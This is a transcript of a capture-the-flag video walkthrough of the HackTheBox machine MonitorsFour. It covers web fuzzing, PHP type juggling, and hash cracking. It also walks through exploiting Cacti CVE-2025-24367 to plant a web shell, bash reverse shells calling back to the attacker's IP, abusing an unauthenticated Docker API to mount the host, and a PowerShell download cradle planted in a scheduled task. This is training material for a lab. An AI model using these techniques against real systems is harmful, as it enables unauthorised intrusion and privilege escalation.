HackTheBox - MonitorsFour

IppSec · Beginner ·☁️ DevOps & Cloud ·3mo ago

Key Takeaways

The video demonstrates a beginner-friendly approach to hacking a box on HackTheBox, specifically the MonitorsFour box, using tools like nmap and fuzzing techniques to discover vulnerabilities and exploit them.

Full Transcript

What's going on YouTube? This is Ippsec. And today I'll be doing Monitors 4 from Hack The Box, which is an easy box, but in typical Ippsec fashion, we'll be overcomplicating it by doing all the exploits manually. There's really just three steps to this box. The first is fuzzing a weird token endpoint to discover it's vulnerable to PHP type juggling, and then we exploit two different CVEs. The first being within Cacti that gets us remote command execution, and the second being within Docker Desktop, which is used for priv esc. Both CVEs do have proof-of-concept exploits available, so if we just search GitHub, we can do that by just running a Python script. However, we don't learn much that way, so I'll be doing all the exploits manually. It sounds hard, but once you do this enough, you start to realize many exploits utilize the same primitives, so they don't seem nearly as magical. Essentially, like magic, once you know the basics of something like sleight of hand, other tricks don't seem nearly as magical as you understand some of the basics, and that lets you identify what is at play. Maybe that makes sense, maybe it doesn't, but anyways, let's just jump in. As always, I'm going to start off with an Nmap, so -sC for default scripts, and -sV enumerate version, and then I'm going to do something new with a --reason, which is going to give me a TTL just like -v -v does, except it's not going to flood my standard out, which is pretty nice. And then I'm going to do a -oA, put in the Nmap directory, and call it Monitors 4, and then the IP address of 10.129.2.73. This can take some time to run, so I've already ran it. Looking at the results, we have just one port open, and that's going to be HTTP on port 80, and its banner tells us it's nginx. We also see monitors4.htb is where it's redirecting us, so I'm going to go ahead and add this to my host file real quick, so sudo vi /etc/hosts, and then I can say 10.129.2.73, put monitors4.htb, save that, and then there's two interesting things. I'm used to seeing like a server header here. Um I don't see that. We just see nginx here. I don't know exactly how it determined that, but also the TTL is 127. I'm used to seeing like 63 if it's Linux. This indicates it's going to be a Windows host, which is a little odd seeing Engine X run on Windows. Now, I do want to show one thing real quick. Um when we do a curl {dash} I to get the headers, we could see this in Burp Suite. It's just easier through the terminal. Um and I mainly want to look at the headers because I don't see server here. I'm used to seeing more scripts give me information. Not sure what happened. But we do see there is a server Engine X. We get the time and everything we're used to expecting. Now, it is redirecting us to monitors.forward.htb. So, I'm going to copy this and we're going to make the same request here. And we see extra information. Um mainly X-Powered-By, so we know this is a PHP application along with PHP cookie. But it's always just nice when you um have a redirect, also look at the headers where the redirect is cuz you can miss something. So, let's just go ahead and copy this. And I'm going to go to monitors.forward.htb and we're going to take a look at the website. So, we get some type of site. I'm going to do control U to look at the source code to see if we see anything that sticks out. This just looks like a regular Bootstrap type of page. Um I don't see like WordPress, Drupal, things like that. Um I know it is PHP. I'm just going to search this page for PHP. Don't get any results. I'm going to Let's see. If we do index.php, we get a blank page. If I just do {slash} index, nothing. So, maybe this is using some type of framework. Um I'm not sure exactly what's going on at this point. If I go to login, we just go to {slash} login. I'm going to go with like admin admin, a good default that's always tried and true. Send this over to Burp Suite. Make sure my intercept is on. Sign in. Just want to see exactly how this looks. Uh so, we have an API. So, we can start trying to brute force the API if we you to. We send this, we just get a 302 found. It is directing us to back to {slash} login. So, that's probably a invalid login. So, there's a few things we can do. Um we probably want to run GoBuster. And I would do a few. I'm not going to do them all here in this video cuz they do take a little time to run. But I do a GoBuster on HTTP, then monitors 4.HTB, and then opt sec list discovery web content raft small words.text. I'd run it there. I'd also run a GoBuster on {slash} what API V1 it is. And see exactly what we have. You'll notice I'm not adding the uh {dash} x PHP extension, which I normally do when it's a PHP web app, but I've kind of already validated the {dot} PHP just doesn't work. So, no point in adding that. Um the GoBuster results do come off with one interesting thing that I'm just going to cheat and show you real quick cuz again, I don't feel like taking the like 4 or 5 minutes time to run. If we make a request to {slash} content uh contact, uh we get a weird error message. So, I'm guessing uh this file does not exist. Um not sure exactly what's happening there. If I do a regular 404, we get this. So, not sure exactly what's going on here. Um the first thing I did try because I saw this was PHP on Windows, and I've been dying to try this out. There's like a orange side um worst fit. This is like where my brain first went when solving the box because this is a relatively recent CVE targeting PHP on Windows, which is a odd thing um and this box is. So, I would highly recommend reading this. Essentially, what it's doing is saying Windows does translations really oddly. Windows does a lot of things oddly, but translations most importantly. And what worst fit is is when you give it a character it doesn't fully understand. I'm trying to get to um an example. It just translates it into something. So, let's see. I don't know exactly what that is. Best fit, worst fit. Come on, where is it? So, like the weird ASCII backslash, like this isn't a true backslash, that isn't I don't think that's a true backslash. I can't exactly tell. But, these are being translated differently. So, if you're just looking for a slash, for some reason, I want to say that's the yen um gets translated to a slash by Windows. So, this is a good way to bypass a lot of filters. You can see they're doing it in a folder here with dot dot yen dot dot yen dot dot yen, and when they um pass it to whatever this d8.exe is, it translates those dot dot yen's to slashes and does a directory traversal. Um really cool bug in Windows. I think this can chain to a lot of other just CVEs of improper fixes. It doesn't get us anything here, but hopefully in the middle of this video it's going to make sense why I'm talking about this. Not only because it's the first place I um looked when solving the box, but there is one other case, and I'm trying to uh find how I can test this really quick. Uh Maybe I just search PHP CGI. Uh so, let's see. Where do they say it? Target. They're like win.ini. How often is this file referenced? There we go. So, this is something they're trying. They go index.php and try to include windows.ini. So, that's what I was trying on this box. So, if we go back here, let's have intercept on. Refresh. And then I played a lot with this. So, I went like get and we don't do index.php cuz that actually doesn't exist. And I'm going to add a few extra just for good measure in case it's not in that directory. But I was playing with this, we still get not found. I do like contact and then maybe after you do with slash there. Not found. You could try his example of index.php. Doesn't work. But this is just something I would try um whenever you see PHP on Windows, maybe you'll get a quick win. And maybe I'm doing something incorrectly. Um I'd love to see a vulnerability about that one, but I needed dive deeper into it. So, let's see. What else do we have? We could look at um let's go to virtual host. So, we can say uh fuff, I like {dash}h first, fuzz. dot monitors 4.htb. URL http um monitors 4.htb. And wordlist up uh seclist uh DNS um discovery DNS subdomains top million. Let's do 5,000 and see if this gets a hit. Uh let's do a filter code for 302 so we don't see those. Do we have anything here? Doesn't look like it. So, let's see. Let's up this and while we up it, we will start doing some recon in the background. Um let's see. m o n i t o r s. Yep, I'm just making sure I don't type over anything cuz it always sucks when you set some type of um fuzzing up and then I type or something, but we'll try these subdomains, a lot of them. And keep looking at this application. So, let's see. Um, another thing the GoBuster would have shown, I wish now I showed it thinking about this, is there is a /users endpoint. And maybe it's /user. There we go. We do /user, you get a missing token parameter. So, I'm just going to add token is equal to and we get invalid or missing token. Um, also like I'm going to try like What is it? API V1 docs? That's normally like a common swagger location. Uh, swagger would be like an open API.json file. Um, that would tell you like all the API, but we don't see that. Um, another file we could potentially get is .env. And this does say something. So, what I'm going to do is just a curl. So, curl this and we get a set of credentials. Um, this doesn't work for anything, but I did want to show it out. Um, most of the time you won't be able to hit .env because Apache and Nginx should have a blacklist preventing that from going out via get request. But, what we're looking at is this token. So, let's do another fuzz. So, I'm going to do a fuzz -u for URL and we're going to fuzz this token parameter. And what I want to do is a fuzz with a bunch of special characters. So, opt seclist, it's probably going to be under like fuzzing. Let's see. Um, Oh, there's now a AI wordlist and seclist. I did not know that. Um, let's see. I'm going to search alpha. And let's see. Digital deck. Let's look at what this list is real quick. So, we have special characters and digits. That is what we want. So, let's go with a um word list of op sec list fuzzing. We'll do alphanum case extra.txt. And then I'm going to filter words for four. And zero returns a lot, which is a little bit odd. So, let's go ahead and take a look at what happens when I hit zero. And we just dump a lot. Um at this point, I'm thinking maybe this is a type juggling thing. If you go to like uh ipsec.rocks and search type juggling, I have a video on it. But essentially, um watch that video and you'll understand type juggling instead of me explaining it here. But let's see. We want to make this request. So, I'm going to grab this, go back to curl. And I like just piping it over to jq cuz it was JSON data. So, we can see all the information here. So, we have username, email, password, and token. So, I don't know exactly how to use token, but there is passwords. And whenever I see password, I want to see how uh long this string is. It is 32 characters. So, I'm going to assume this is just MD5. So, whenever you see a 32-character alphanumeric string, chances are that is MD5 sum. So, let's do a jq again cuz I'm going to get this in a format I can easily work with. So, I'm going to do uh dot open and close bracket, and that's going to get rid of this, right? And then I'm going to pipe that over, and I want to get what is it? Um dot email. And then we can do plus dot password. And we probably want to add a colon between that. And if If do a curl {dash} s, that'll silence it. So, now we have email hash. Um I'm going to do a {slash} R so we get rid of those quotes for raw. And I'm just going to copy this. And we're going to go to hashes.com. I'm going to turn Burp Suite off because Cloudflare doesn't like when you use Burp Suite. It uses like jar signatures to identify it's coming from Burp. But I'm just going to paste all the hashes here. And we'll see if it's a easy to crack MD5 sum. If this doesn't work, then I probably go over to Hashcat and try to crack it myself. But when it's just straight MD5s, I generally go for like hashes.com or crackstation. Now we can see the hash 56B does crack. And that is going to be admin@monitors4.htb and the password is wonderful1. So, let's do V creds.text. Admin, wonderful1. Save that. And then let's go ahead and try logging in. So, let's go back here. Where is login? I'm going to say admin. Wonderful1. And that gets us into the application. Awesome. And I don't think there is much here, honestly. We can look at Um let's see. If we go to tasks, we have a bunch of tasks here. It looks like 61 pages, 604 different tasks. I wonder if we change anything. If I click this, I'm not even making a request in the background. I don't see any save. I can't like click on this to get more information. I don't know exactly what's going on here. Clicking priority, it's just using JavaScript to kind of sort it, not doing anything in the URL. So, I don't think this is going to be like SQL injection. Um let's see. Upgrade. This search feature doesn't even work. So, there's nothing I can really do in the tasks and there's 600 of them, so I don't want to read them. So, let's see what else there is. We got invoices with names. If we go down to users, let's see. Um admin, Marcus. So, pretty much what we saw on the slash user endpoint. If we go to customers, still nothing really. If I go over to change log, um API key management stuff. We have infrastructure notes, so something interesting. Um migrated monitors forward to Windows and Docker Desktop version 4.44.2. So, this is definitely interesting. Um the notes.txt. I'm just going to put that there. Let's see, what else do we have? SQL injection, user management, invoice tracking, initial release. Don't see anything. If I go to generate API key, we click this. Is this going to actually make a request? It looks like it does. And we have this. So, let's see exactly what this request generates. So, I'm going to Did I turn Burp Suite on? I did not. Turn Burp there. Generate. Look at it. And what do we send? We just say generate key and don't give it anything. So, I don't think there's really anything for us to um attack with this. So, we're kind of stuck. And whenever I'm stuck, I always go back to my recon. And we had a DirBuster of virtual host enumeration going on, and we see that got us nothing. And it didn't get us anything because of one mistake. Um we're filtering code for 302, and a valid result in this case also returns 302. One thing that 0xDF always does is he likes the auto-calibrate very uh of FFUF. And they'll do a better job most of the time than a human. If I just do {dash} AC for auto calibrate, I even change it down to the 2000.text, we can see cacti is found very quickly. And that happened because um the auto calibrate probably filtered on size or something like that. It didn't filter on the status code, right? If I go back to this, let's see. I'm just going to go 2000. Uh hold on. Was it 20,000? There we go. Get rid of the filter. Right. So, all these results of 138, I probably should have filtered size, but my mind just did code first because that comes first, right? But if you did a {dash} filter size 138, it gets found pretty easily. So, this is one mistake I see a lot of people make, including myself, um just filtering on the wrong thing when you're fuzzing. And that's always just an important skill. So, let's go ahead and take a look at what cacti is. So, I can do a sudo vi etsy host, and then we can say cacti.monitors4.htb. Save that. And let's go take a look. htb cacti moni- tors4.htb. Burp Suite's probably on intercept. It is not. There we go. And we can see a version here. And this is going to be uh vulnerable to something. Um I'm not going to go look at the vulnerability yet because we have to get logged in first. So, let's see. If we try logging in with admin admin, doesn't work. We could try a bunch of default credentials, but uh we did crack one. I think it was wonderful1. And let's send this over to Burp Suite because it does make things a little bit easier. So, let's log in. Go to Burp, repeater, send it. And let's see. If I send a few requests, I'm looking at the millisecond response. So, we get 194, 208, 192. Um let's go with a user that probably doesn't exist. So, I'm going to say username is now please subscribe. We get 77, 73, 74. So, this is somewhat of a user user enumeration vulnerability. What's happening here is there's a SQL statement checking if the username exists. And if the username exists, it's going to hash the password and then compare it, right? Um if the user doesn't exist, it never bothers to hash the password, so that's why we have a quicker result because we're not doing probably a bcrypt function here. So, one of the downsides with a um strong hash is it takes a couple seconds or a couple milliseconds to actually process that strong hash. And in that, we can use it to enumerate valid users. Uh the fix here would be always to bcrypt uh the password. So, even if the username doesn't exist, you should still do a hash function on the password, so that way this timing attack doesn't work, right? So, I always find these timing attacks interesting to enumerate valid users. And in here, it can make some of the guesswork less frustrating, right? Because if we look at the users of the application, um I'm just going to turn Burp off for this. Let's see. We have admin, Marcus, Michael, Watson, whatever. So, we could start trying various accounts. So, if I do um let's put an invalid password here real quick. So, if I did Marcus, we see that's around 200 milliseconds, right? If I do, let's say M Higgins, which is another common username uh thing, that's under 100 milliseconds, so that's definitely not valid. Um David's another user, so I can try David, 84 milliseconds, so that user doesn't exist. So, we know Marcus is a valid user, 192. And then if I do wonderful1, which is the password of admin we get a 302 found and it's directing us to the index. So we have now found out this user password. I know a lot of people that don't do like username enumeration may get frustrated with this step of just like it's a lot of brute force but the brute force becomes very easy when you discover what account is valid or not. So I think that's always a fun finding to have on applications. So let's do Marcus wonderful one. I have to refresh this page. Oh, there we go. We're logged in. Awesome. So let's see. We had cacti version 1228. So if we just went to like cve.org or whatever to search things we'd find the vulnerability there but in this case cacti is open source so I'm just going to go cacti GitHub. I'm going to go straight to the advisories because I also find that to be interesting. Come on GitHub load. Maybe I should have start with CVE because this is going slow. Let's see. Security and quality. If we go here you can also look in commits and things like that. But we have quite a few vulnerabilities here. There's this SNMP command injection arbitrary file. We got authenticated RCE via SNMP. And I tried exploiting both of these. I couldn't I couldn't seem to get it to work. Maybe I'm missing something but in this all the three of these vulnerabilities stem from the same thing. It is on Windows you can insert line breaks into commands and do bad things. So here it's adding this bash command to SNMP and you think this is just vanilla command injection but I couldn't get it to actually trigger this reverse shell. And looking at this it doesn't even show the reverse shell, right? They're just looking at TCPdump. SNMP makes a request public and then puts this command here. It's not showing the command actually runs. So, I don't know if this is truly RCE or what they're chaining this to. It just seems to be a weird um report. Maybe it's like a bad AI slot vulnerability. Uh same things kind of here. Same type of thing I couldn't get this triggered. Um here they actually show the command. But, they're also starting an SNMP server and doing some things. So, this probably does work on this box. Um you just have to know that Python library to do it. It was more time than I wanted to spend. We can see it's affected 1.2.8. Is that our version? Yeah, 1.2.2.8. So, that is our version. Um there's also this file creation. And this was much easier to replicate and what I'm going to do. And I also like this bug report because they're talking about where the vulnerability stems from. And it stems because this functions.php on the Cacti escape shell argument. Um if the OS is Unix, it's just going to use the default PHP escape shell arg. But, if it's Windows, they're going to do something different. And they miss out on sanitizing a line break on Windows. And the actual patch, um let's see. Do they have the patch here? Where's the commit? I don't see the commit, but essentially the commit is just a um replace new line and return character with nothing, I want to say. And I'm assuming because it's just doing like a PHP replace, so it's probably like replace um let's just say {slash}n with nothing. Right? Um the thing I talked about earlier, the worst fit here, there's probably other characters that get translated to {backslash}n. Um so, maybe there's a way around this CVE if we just put a weird ass um character in it and then that gets translated to a new line break and then we get the um exploit again. I don't know if that would work or not. I didn't spend a lot of time there. But if you wanted to uh feel free to play with that. Uh but let's get back into this actual CVE. So let's see. File creation. So what they're doing is they say um do they say exactly where it is in the RRD process graph? So RRD is the round robin database. Um essentially we create a database and round robin databases are really good at measuring time. So what we do is create a database they're doing temperature over some type of average. So this just creates um a database of temperatures. And then they issue a second command called graph and they say write this graph to this file name. And then in one of the probably like legends like the x-axis um they put this PHP string in. And what this is actually going to do is um because this file extension is PHP, PHP executes everything within the PHP tags, you get arbitrary command execution. It's like putting um a PHP tag in like the image metadata and then uploading it as .php and getting code execution that way, right? Um so this vulnerability, let's see. They're using 0A for line breaks. So um I didn't highlight the whole thing. 0A. If I go into man ASCII let's go search for the hex 0A. 0A is a line feed which is backslash n. So anytime they want a new line, they just do present zero A and then have this. So, what we want to do is go to cacti graph templates PHP. So, let's go here real quick. Um let's see, graph templates. What if we can go in the application? Close Oh, no. I did not want to close all three of those. Um Here we go. Okay. So, let's see. New graph. We have to find where it says X axis or something. I don't think it's here. Uh maybe if we go to graphs at the top. Default tree local Linux. And edit graph template. This is what I wanted. So, if we go here and then we search for was it right axis they said? Um we have right axis label and I think this is where it is. Um Right axis. Yep, right axis label. We want to intercept this request. So, I'm going to put um IPSec here so we have a placeholder for it. Make sure we go into Burp. Let's go ahead and set a proxy. Clear that so we have this request at the top. Save. I'm going to put it in repeater to make it easy. Uh don't want to edit that. Let's see, search for IPSec. So, this is going to be where we insert. We got to get the data we want to insert. So, if I go back here, let's see. Where is it? These lines. So, what I'm going to do, we I'll call it ATK, I guess. So, what I'm going to do is we'll put IPSec here. And instead of this I'm I'm to call this um cmd.php. And instead of running PHP info, let's do a um system then dollar request cmd. So, we're just going to write a standard PHP web shell. And there's another small trick this is using. It's doing the PHP tag then equals. And this is probably just getting around the space. Maybe space is a bad thing cuz these are arguments and space could be like a delimiter. But the equals in this is pretty much the same thing of um a PHP tag. So, it's just a PHP tag without a space. Um so, what we're doing is creating a RRD database. Then we're saying um make the file cmd.php, which is going to be a picture in RRD, but we're just giving it the PHP extension. And we're using the database we just created up here for data for this graph. And then inside of that graph, we're putting our string, which is going to execute commands. So, let's save that. I'm going to cat this real quick. And then we're going to copy. Go back to our Burp Suite. We're going to paste. And then I want to First, I'm going to URL encode things. So, let's see. I'm going to do control U to URL encode. Control U. Did I just do too much? I don't think so. This is one line. There we go. This is one line. Okay. So, let's do a percent 0A cuz that's a new line character. Backspace percent 0A. Backspace and now that's all one line. And let's see, we do this. I don't know if we have to close this at all. That's the one thing I'm stuck right now. We may be missing a character. Like we may need to end it with a semicolon. We'll see if this works. Uh did they do it? Let's see. This. Do they have a 0A at the very end? The very last thing is a 0A. So, let's make sure we have that. So, here we'll put percent 0A. Okay. Send this. And then let's see if it exists. Does it tell us where it writes it to? Um var dub dub, cacti, and this. So, let's go back to our browser. Where is a cacti page? And then I'm going to do cmd.php cuz that's what we called it, right? Hit it. And it looks like we may have something. I'll do cmd equals ID. Script is only Oh, maybe cmd already exists. Um shell.php. Not found, which could be fine. Um it may not be not found cuz the graph hasn't been created yet. So, let's go back to graphs, local Linux. If I edit the graph template, let's see. Is there a right access? So, we have that there. Run again. Refresh. Um the file exists, but we now have an error. Unexpected token quote. So, I wonder if it doesn't like this. So, I'm going to change this request to be a zero. I'll refresh this page cuz I think refreshing this page is what's going to make the graph populate. And let's see, undefined index zero. So, we're getting closer. So, that's not how I do this. Let's see. Can I do a double quote? I used single quotes before, so I'll try a double. Refresh. Stack trace, undefined constant CMD. Convert URL all characters. We're getting somewhat close. Little bit of trial and error. That doesn't look like it works. Let's URL decode this, and I'm going to go back to just trying the zero cuz this should be the very first argument. And I know what you're probably thinking right now. This is an easy box. Why is this so hard? Um it's mainly hard because we're doing the exploit manually. Um we could probably just Google the CVE and find a proof of concept on GitHub and then point and click and have it work, but I don't really find that to be that fun or beneficial. I like doing it manually to understand the exploit. And then you also run into weird issues like this where um things just don't work out, and you normally learn a lot when uh something just doesn't work. So, let's see. I'm going to change Oh, we didn't we refresh this page. Refresh this. I should get a different error message. There we go. System passing null parameter. So, let's see. I wonder if I do an actual zero. There we go. That actually works. Um so, we do zero ID, and we get code execution. Awesome. So, what I'm going to do here, let's get a reverse shell. Um so, have it going to Burp. We can do proxy. Refresh this. Send it to repeater. Change the request method. Rerun it. Yes, we have it. Then we'll do bash {dash} c bash {dash} i dev tcp 10 10 14. What is my IP? 171. I lost my {dot} eight after many years. So, we'll do 9001 0 and 1. Control C. Then let's just open up a new pane and see how we can pee 9001. Send this. And we get a shell. Awesome. So, I'm going to do the tty trick to get a proper shell. So, import pty pty spawn bin bash. Um Python not found. So, let's check if we have the script binary, which is another way we can do this. We do. So, let's do a script right to um dev/null. And then we want to run the command bash. There we go. And we do stty raw minus echo fg enter enter. And export term is equal to xterm, and that lets us clear the screen. Awesome. And before we get into the next step, if you want to hit the easy button, um if you just Google like GitHub cacti CVE POC maybe. Let's just see. Uh I probably should take Burp Suite off. I hate when Google does that. Um GitHub cacti CVE POC. Here we go. You can pretty much just clone this repo and then run a Python script, and it's going to do it all for you. So, this will be the easier way. Um CyberGeek is also, I think, um maybe the co-author or the author of this box, but you just do Python exploit, the user, password, and where you want to send the reverse shell to. So, super easy to exploit if you want to just use a POC script, but obviously, you don't really learn that much by just doing this. I think it's much better, at least if you're trying to learn, to go the hard way and exploit it manually. So, now that we're on this box, we can see the host name. It kind of looks like a Docker host name, right? If I do a lsla on slash, we also see {dot} docker environment or docker env, I guess I should say. If we do IPA, we can see my IP address is 172.18.0.3. We could try pinging other hosts, so 18.0.1, except ping isn't on the box. Um is nc? Nc is not on the box. We could probably echo one to dev/tcp uh 172.18.0.1. Uh probably listening on 80, right? Uh it's Windows. So, Windows, let's say 445. Um let's see. Echo one to that and echo okay. So, we get a connection refused and nothing works. Um it is a /16 subnet. I want to say the subnet begins at either 16 or 12. I can't remember. We could also try those two. So, if I go up Uh let's see. Let's fix my TTY real quick. Uh it is rows 26, columns 121. stty rows 26, cols 121. So, now I can go backwards. Let's try 1601. It's taking longer. So, it didn't immediately um drop, which is good. But, I don't get a response back. So, it's timing out. Um if we did 12 that is also taking a long time. Go back to 18. Connection refused almost immediately. So, I'm going to guess if we do 80, connection okay. So, I'm going to guess 80 um 172 1801 is going to be the host. And um this is a cheap way to port scan it, right? Uh 3389 is closed. We could say What's another common Windows? I don't know. Um 443 closed. You could do something like that. The This is or, so and and if the command previously was good, and then closed is command previously was bad, right? So, um I guess I should do open. But, we don't really get anything. I guess we could also check like port 22. Um it's Windows 5985 is WinRM. 86 So, nothing there. Um what else could we look at? We do um what is it we're in cacti already so is there like a config? We go to include cat config. I user Let's see. I'm just looking for username password. So we have some information here. So cacti is the database the hostname is Maria DB. So MySQL is not listening on this box. It's probably Maria DB. We got the username and password here. Let's see we do a we have dig and that's look up. What else do we have? It's probably going to be 02, right? So we could just guess. So we hit up a bunch of times. 02 3306 is my SQL port and that's open, right? Because Docker is just going to go sequential. So I was going to try 02 then if that didn't work probably 04 because I know it's not 03. We're not listening on 3306, right? We try 04 which is the next IP. It takes a while cuz that IP doesn't exist. And it's closed. So let's see. We have MySQL there. We could probably also run get ENT host Maria DB which is another way to do like a dig command or something like that and it translates the hostname there. So let's do MySQL -u I think it was cacti DB user -p Let's see Maria DB enter password. Is it dash H for host? There we go. We get in. Um, we can do show databases. Use cacti. And then show tables. Probably user off. Describe user off. Select Let's see. There's password history. Username password. So, we got these. We got more credentials. Um, I don't know why guest is so weak, but we could try cracking these. Nothing really gets us there. Um Interestingly enough, we do show databases. We only have two databases. There is really a third one. Um, remember if we did a uh, .env. I think we have to curl it because web browser bit off, but I'm going to do curl monitors4.htb/.env. We could try this one as well. So, let's do monitors DB user. Enter this password. So, copy. Paste. Show databases. Use this database. Show tables. Describe users. Select username, password from users. And it's the same thing we had earlier, right? We're just pillaging the database, something I would highly recommend doing. But, that doesn't really get us anywhere. Um, if we looked at the host file um, let's see. Cat Etsy resolve.conf. We do see there is an IP address 192.168.65.7. And if we Googled um Docker Desktop exploit. And the reason why I'm Googling Docker Desktop exploit is way back in the beginning of the video uh we did create a note based upon the change log that had this um Docker Desktop 4.44.2. And Docker Desktop does use um this um IP address. And we see it's created by Docker engine. Let's see. GitHub And essentially what the exploit is is they expose the Docker socket to the Docker containers. And the Docker socket has no authentication, so we can execute Docker just as if we had the Docker group. Um that's on port 2375. So I'm going to go back to my command. And we're going to do a 192.168.65.7. And what is it? 2375. And we can see that's open. We tested other things like 375, it's closed. So here, we can just do a curl. So 192.168.65.7 2375. And I'm sure this is going to be on hacktricks. I don't have jq. That's annoying. But um we can talk to Docker here. So if I do info it's not really telling me too much. I'm going to say um images, give me JSON output of images. Going to copy this. Echo {dash} n jq. And this is going to be the images that are loaded on the server. And this is important because if we have the images, we can spin up a new image and mount the C drive essentially. So, I'm just going to um take the Docker setup engine x PHP one and we'll spin up a container. So, we have to send it JSON. And this is going to be like in the POC. I'm just going to do it manually instead of this, right? So, they're doing a containers create JSON payload. Where's the payload? Right here. They're using Alpine latest. I don't think Alpine was on the box. Um that's why we're going to switch to the engine x. And they just bind um {slash} to host FS, right? So, this host config is what's going to be important. So, we have this. Um let's do a {dash} d. And we want to say the image. And that's going to be from this. So, Docker setup. And then colon. Or is it dash? Where is that? This one, right here. I think this is the image actually. Uh repo tag, the whole thing. Okay. So, after image we needed the CMD. And we're going to say bin bash. And then -c and then bash -i dev TCP 10 10 14 What is my IP address? 171 9001 like that. I think that's it for CMD. Then after this, let's see. I probably should do this in a text file so I can validate the JSON. Um Oh, well. We wanted host config. And I'm going to say binds And I'm going to put mount host. How do they do this? Is it two? No, just in one. host root That doesn't look right to me. Um I don't know. We'll see if this works. I think we have an error somewhere. I think that's valid JSON. Um let's just go and test it real quick. Invalid. Where did we screw up? Let's see. Image. I'm going to just put it to an online editor to get it. I should use the proof of concept script at this point, but oh, well. Validate. One column 52. I bet it's this has like bad characters or something. So, image is done. We got that. CMD. There. That was it. That was not it. So, that's one parameter. Two parameters. Three. That's closed. Host config. Finds. That's wrong. Where's my linter? There we go. Validate. That is good. >> And I guess we should delete all of this. There we go. Send it. Page not found. That is not good. Where do we make the request to? Uh containers create. Okay. So, we have created a container. And then we want to start it. Let's do curl We'll send nothing. HTTP 192 168 65 7 2375 containers this weird ID start. And let's make sure we're listing on a port. We get a shell. We go slash MNT nothing here. If I do mount slash host underscore root we do have a C. And we're now on the box. Awesome. So, if we go to users administrator desktop we can get root.txt. And that is pretty much the box. We could get a shell on this Windows computer. So, if I go up a few directories and we go to Windows I wonder if there's a Is it system32 config? We could try downloading the SAM and security file. So, I could send all these files to us. Um this doesn't really help us that much, I don't think, because um What was I going to say? Let me send this paint to me real quick. Send paint to six. There we go. Um I don't think we have like SMB open or anything like that. But, I would copy these files. So, if I do NCLVMP 9001 to SAM let's cat SAM to dev/tcp 10.10.14.171 9001 Uh permission denied. So, we can't read the SAM, actually. That is a protected file. Um we'd have to like establish a like shadow copy and do a backup of the file in order to read that. And there's a few other ways. Um but that's not good for us. If we look in the tasks these are going to be scheduled tasks on the box. And we have a few, right? We have clean containers. So, if we cat this file we can see Let's see. This is going to run PowerShell and it's going to hit C:UsersAdministratorDocumentsContainerCleanup.ps1. And let's see. How often? This is going to run three every three minutes, I think. I think PT3M is three minutes. So, if we wanted to we go into this directory. So, let's go dot dot slash dot dot slash and then users administrator documents. CD users administrator documents and we can look at this cleanup script, right? So, if we cat this, we can see the script and we can also write to the script. So, I can just put a reverse shell here and then 3 minutes, it'll probably reach back to me. So, let's go ahead and try that. And to do that, I'm going to use a web cradle and the whole reason why is I don't know if antivirus is on this box or not and I always like using web cradles because that helps me like not evade antivirus, but no one antivirus is blocking me. So, let's call this um I'll just do cradle.text. Uh we'll put the shell here, actually. Um I'll do CMD and this should be IX new object net.webclient download string and then HTTP 10.10.14. What is my IP? 171. 8000 and we'll do cradle here. K. And then CP user share nishang shells invoke powershell TCP one line.ps1 and I'm going to call that What do I call it? Cradle? Uh I'll call it shell.ps1. There we go. And delete this. 10 10 14 What is my IP? 171 9001 Save that. And let's see. We'll have to go into dub dub dub python 3 HTTP server. And then we have to do a iconv to UTF-16 little endian because this is how Windows likes it. And then let's do base64-w0. I will copy this. And then let's just write it into the script. So let's do echo PowerShell-c or - enc for encoded command. That into container cleanup .ps1 that route We'll sleep for 180 seconds cuz this should run every 3 minutes and we'll see if it actually runs. Okay, it's been 3 minutes and we actually don't have a shell. We didn't even get a hit. So let's see exactly what happened here. I'm going to do a cat on container cleanup and I'm thinking um this just appended to a line and something screwed up there. Yeah. So, that's probably Oh. Container cleanup just hit and I don't have a shell anymore. But, I'm guessing this is invalid syntax. I probably needed to um What am I saying? Uh make sure it's on a new line. Oh, wait. No. I guess it just took a while for container cleanup to hit and that still worked. Um I have a shell on Windows here. If I do who am I, I am an administrator. So, that's how we can get a shell. I'm actually surprised um this was valid syntax. I was thinking this PowerShell needed to be on a new line. Um I guess 3 minutes hit and it just took a while to stop all the containers and do the cleanup. But, we eventually got a shell. So, that's going to be the box. Hope you guys enjoyed it. Take care and I will see you all next time.

Original Description

00:00 - Introduction 00:57 - Start of nmap 03:20 - Looking at the webpage doing basic enumeration 05:30 - Talking about Orange Tsai Worst Fit -- Doesn't get us anything but a path i went down first 09:50 - Discovering the /user endpoint, fuzzing the token parameter discovering type juggling, cracking hashes 14:40 - Logging into the application, which seems like an odd static page 18:00 - Discovering the Cacti Domain, Logging in and showing we can enumerate if a user is valid or not by a timing attack 23:50 - Exploting CVE-2025-24367 , which lets us create php files on the target 28:40 - Creating the payload to drop the file to get RCE 36:00 - Shell returned. 38:10 - Using bash to be a basic port scanner, then dumping the database 45:00 - Manually exploiting CVE-2025-9074, talking to Docker over HTTP to create a container that mounts the host operating system in a container then reading the flag 55:00 - Getting code execution on the host by looking at scheduled tasks and changing a powershell script that runs every 3 minutes
Sign in to unlock AI tutor explanation · ⚡30

This video teaches viewers how to approach a beginner-friendly hacking challenge on HackTheBox, using basic enumeration and fuzzing techniques to discover and exploit vulnerabilities. The key takeaway is the importance of persistence and trying different approaches when faced with a challenging problem.

Key Takeaways
  1. Start with basic enumeration using nmap
  2. Look for potential vulnerabilities in the webpage
  3. Use fuzzing techniques to discover hidden endpoints
  4. Exploit type juggling vulnerabilities
  5. Crack tokens to gain access
💡 Persistence and creative problem-solving are essential when approaching hacking challenges

Related Reads

Chapters (13)

Introduction
0:57 Start of nmap
3:20 Looking at the webpage doing basic enumeration
5:30 Talking about Orange Tsai Worst Fit -- Doesn't get us anything but a path i we
9:50 Discovering the /user endpoint, fuzzing the token parameter discovering type j
14:40 Logging into the application, which seems like an odd static page
18:00 Discovering the Cacti Domain, Logging in and showing we can enumerate if a use
23:50 Exploting CVE-2025-24367 , which lets us create php files on the target
28:40 Creating the payload to drop the file to get RCE
36:00 Shell returned.
38:10 Using bash to be a basic port scanner, then dumping the database
45:00 Manually exploiting CVE-2025-9074, talking to Docker over HTTP to create a con
55:00 Getting code execution on the host by looking at scheduled tasks and changing
Up next
Containers vs Virtual Machines
KodeKloud
Watch →